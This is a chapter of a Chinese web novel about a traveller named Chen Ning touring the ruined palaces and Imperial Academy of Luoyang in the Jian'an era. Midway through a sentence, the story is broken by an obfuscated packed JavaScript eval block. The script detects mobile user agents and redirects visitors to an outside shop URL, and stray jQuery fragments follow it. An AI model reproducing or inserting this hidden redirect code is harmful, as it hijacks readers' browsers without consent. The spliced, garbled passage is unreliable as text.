建安十五年秋·洛阳
出发那日，邺城的槐树正落着最后一批叶子。陈宁在漳河渡口上船时，回头望了一眼铜雀台的轮廓，青灰色的台身在秋阳下泛着淡淡的暖光，像一枚巨大的印章盖在天际线上。随从们把行李搬上船，木箱碰撞发出沉闷的声响，惊起了河滩上几只正在觅食的白鹭，扑棱棱朝南飞去了。
与陈宁同行的将作大匠郑浑，是个五十余岁的老人，面皮被日头晒成了深褐色，双手粗糙如树皮，指节粗大，骨节突出，一看便是常年与土木瓦石打交道的人。他话极少，上船后便靠在舱壁边闭目养神，只在船工询问“逆风还是顺风”时睁开眼看了看风向，简短地回了句“顺风，不碍事”，便又合上了眼睛。
逆漳河而上，转入黄河故道，两岸的景色便渐渐荒了下来。
头两天还能见到零星的人烟。河岸上有被踩实的土路，路边偶尔有几畦菜地，田埂上有个把老农弯腰侍弄着什么，远远看见官船经过，直起腰来望一眼，又低下头去继续手里的活计。到了第三日，村落便稀疏了。陈宁站在船头，沿河望去，常常要走半个时辰才能看到一处有炊烟升起的庄子，有些村庄分明有人住过的痕迹——井台还在，屋基还在，但屋顶塌了半边，门板歪斜着靠在墙上，院子里长满了齐腰的蒿草。
更让他心头沉重的是那些散落在路边的骸骨。
第七日，船行至一处河湾时，陈宁忽然让船工靠岸。他踩着松软的河滩上了岸，绕过一丛枯黄的芦苇，在道旁的一片荒地里停了下来。那里散落着七八具白骨，有的完整，有的散了架，腿骨横在肋骨旁边，头骨歪斜着朝向天空，眼眶里塞满了枯叶和泥土。从残留的衣物碎片来看，有男有女，还有一个身形特别小的，大约是孩童。没有人掩埋，就那么任由风吹日晒雨淋，骨骼已经变成了灰白的颜色，表面布满了被沙土打磨出的细纹。陈宁蹲下身，捡起一根腿骨端详了一下，骨面光洁，没有刀砍斧斫的痕迹——大约是死于饥饿或疾病。他沉默着将那根腿骨轻轻放回原处，然后起身走回船上，一路没有说话。
郑浑在船板上靠着，看见他回来时的脸色，难得主动开了一次口：“见多了就好了。”
陈宁看了他一眼：“你见过多少？”
“建安二年，我从许都往河东押运木材，沿途四百多里，能见到白骨的地方不下百处。”郑浑的声音平平的，像在说今天下了几场雨，“那会儿比现在惨。那时候路边的白骨是成片的，有的地方连下脚的地方都没有，你得绕着走。这几年好多了，至少官道上干净了。”
“官道干净了，”陈宁轻声接了一句，“可官道以外，还是老样子。”
郑浑没有再答话。两人之间只剩下船板下水流拍击的哗哗声。
十月初，船队抵达了洛阳。
昔日的东都出现在视野里的那一刻，陈宁甚至没有第一时间认出它来。他前世在史书上读到“洛阳宫室尽毁，荒草丛生”时，脑海中浮现的画面是一片空旷的废墟，就像一处被遗弃的村落。但当他的双脚真正踏上洛阳城的遗址时，他才知道那八个字的分量有多轻。
这座城太老了。它曾经承载了四百年的辉煌与沉重，如今只留下一片极广阔的、被野草和灌木覆盖的台基轮廓。南北两宫的废墟延绵数里，残存的夯土墙在秋日低斜的阳光下泛着黯淡的黄褐色，高高低低地矗立在荒草之间。南宫的台基上已经长出了碗口粗的野槐，根系扎进当年铺着金砖的地基深处，把夯土撑开了道道裂纹。几株酸枣树从倒塌的廊柱基座上斜生出来，枝头挂着暗红色的酸枣，酸得碰一下唇就发涩。
陈宁独自走入了南宫的废墟。郑浑带着工匠们在北宫一带勘测地基，临分别时交代了一句“天黑前回营地，这地方夜里有野狼”，便提着丈绳和炭笔走了。
陈宁沿着南宫的中轴线缓步前行。脚下是当年百官入朝时走的御道，如今已经被野草和碎石覆盖了大半，只剩下断续的几段还能隐约辨认出石板铺就的痕迹。他踩过一块残破的云纹石板，抬头望去，前方是太极殿的遗址——那曾经是大汉天子召见群臣、举行大朝会的正殿，如今只剩下了一圈高出地面约三尺的夯土台基，台面上长满了齐腰的野蒿，风一吹便沙沙地响，像无数细碎的低语。
他在太极殿的台基边站了很久。秋日的阳光从西面斜射过来，把他的影子拉成一道细长的黑线，印在被野草覆盖的夯土上。他想起那些在史书上读到过的名字——光武帝在这里登基，明帝在这里颁布诏令，章帝在这里与群臣辩论经义。那些人穿着玄端章甫，排着整肃的仪仗，在钟鼓声中跪拜如仪。而如今，只剩下风声和野蒿。
陈宁离开太极殿，转道去了太学。
太学的废墟比南宫保存得稍好些，至少围墙的基座还大致可辨。但那些曾经刻满了儒家经典的熹平石经——汉灵帝时蔡邕亲笔书丹、天下学子争相拓印的石碑——如今大半被推倒在地，碎裂的石块散落在枯黄的草地上，被风雨侵蚀得字迹模糊。陈宁蹲下身，在一堆碎石中翻找了一会儿，捡起一块巴掌大的残片，拂去上面的泥土和苔藓，露出几行依稀可辨的隶书：“……子曰：君子和而不同，小人同而不和……”后面的字断掉了，裂痕正好从“和”字中间劈过去。
他将那块碎石轻轻放回原处，没有带走。然后他站起身，在太学的废墟里穿行，从明堂遗址走到灵台遗址，从灵台走到辟雍遗址。每一处都曾经是天下士人仰望的所在，每一处如今都只剩下一圈模糊的轮廓，被秋风和荒草一层一层地掩盖着。
日头西沉的时候，陈宁终于走回了南宫东南角的一处空地。那里的荒草被踩平了一片，几名随从正在扎营。篝火已经生起来了，火光在暮色里跳动着，把周围残破的台基映成暖融融的橘色。郑浑坐在火堆旁，手里捧着一块烤饼正在慢慢咀嚼，见他回来，抬了抬下巴，算是打了招呼。
陈宁在火堆对面坐下，接过随从递来的水囊喝了一口。火烤得他的脸微微发烫，他望着火光出了会儿神，然后从怀里摸出一样东西。
那是一枚残破的瓦当。
他在太学东侧的一堆瓦砾中发现的，巴掌大小，边缘磕掉了一块，但中央的篆书刻印还清晰可辨——“永平”。那是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741919|209112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
汉明帝的年号，距今已有一百五十余年。瓦当的表面被泥土和苔藓覆盖了大半，他用手指把那些灰绿色的苔痕一点点刮去，露出底下暗红色的陶质基底，带着细密的砂粒感，触手粗粝而厚重。
“永平？”郑浑瞥了一眼他手里的瓦当，“明帝那时候的东西？”
“嗯。大概是太学或者明堂的檐瓦。”陈宁将瓦当翻过来看了看背面，残留的瓦钉痕迹还在，磨得浑圆光滑，“一百五十年了。”
“一百五十年算什么，”郑浑咽下口中的饼，语气平淡，“建武元年光武帝修复洛阳时，用的很多石料还是从西汉旧宫里拆下来的。那些料子有两三百年的岁数了，照样能用。你要是想，这片瓦也可以磨一磨，嵌到新修的大殿檐角上去。”
陈宁的手指摩挲着瓦当边缘那道磕缺的痕迹，沉默了半晌，摇了摇头：“不必了。它就该在这儿。”
郑浑没有再劝。两人对着火堆，安静地吃完了那顿简陋的晚饭。夜里果然有狼嚎声从北邙山的方向传来，凄厉而悠长，在空旷的废墟间回荡。陈宁裹着薄毡坐在火边，望着头顶的星空出神——没有城郭的遮挡，洛阳的夜空格外开阔，银河横跨中天，繁星密如碎米。
他低头看了看掌心那枚“永平”瓦当。一百五十年前的工匠把它烧出来的时候，大约想象不到有一天它会落在一个年轻谋士的手里，被借着篝火的光细细端详。而他自己呢？他此刻坐在这片废墟中央，脚下是四百年汉室的遗骸，头顶是千年不变的星空。他手里的这片瓦，也许会在许多年后被另一个后来者从泥土里拾起来，像他现在一样摩挲着它的边缘，猜测着它的来历。
那一夜他睡得很晚。火堆添了三次柴，郑浑和随从们早已鼾声四起，他还在火边坐着，把洛阳的废墟在脑海里一寸一寸地过了一遍。南宫的台基仍然坚固，若加筑修补，可以承重；太学的围墙基座大致完好，重新垒砌起来，不需要从外地运太多石料；灵台的地基沉陷了些，但只要填土夯实，还能用。他想着想着，不知什么时候便靠着行囊睡了过去。
天亮之后，他在随行携带的素帛上写下了一段话，字迹潦草而细密：
“洛阳宫室虽毁，基础尚存。南宫正殿台基无损，可上筑新构；太学墙基完好，修复易行。然河南凋敝，民力已竭，仓廪空虚，若大兴土木，恐生民怨。窃以为，宜先立城垣、辟街衢、引渠水，使洛阳复为可居之城，然后再议宫室之修。城活则宫可复，城死则宫虽复亦无人居。”
他把素帛收好，揣入怀中，起身拍了拍袍子上的草屑和尘土。晨光从东面的城墙缺口处漫进来，将整片废墟染成了一层淡金色的薄雾。远处，郑浑已经带着工匠们又开始丈量了，木尺落地的笃笃声在空旷的台基间传出很远，惊起了几只栖息在残垣上的灰雀，扑棱着翅膀朝北邙山的方向飞去了。
陈宁望了一眼那片渐飞渐远的鸟影，弯腰拾起地上那枚永平瓦当，用布包好，放进了随身的锦囊里。然后他迈开步子，朝郑浑的方向走去，身影在晨光中被拉得修长而清瘦，穿过那些断壁残垣和丛生的荒草，一步比一步更稳。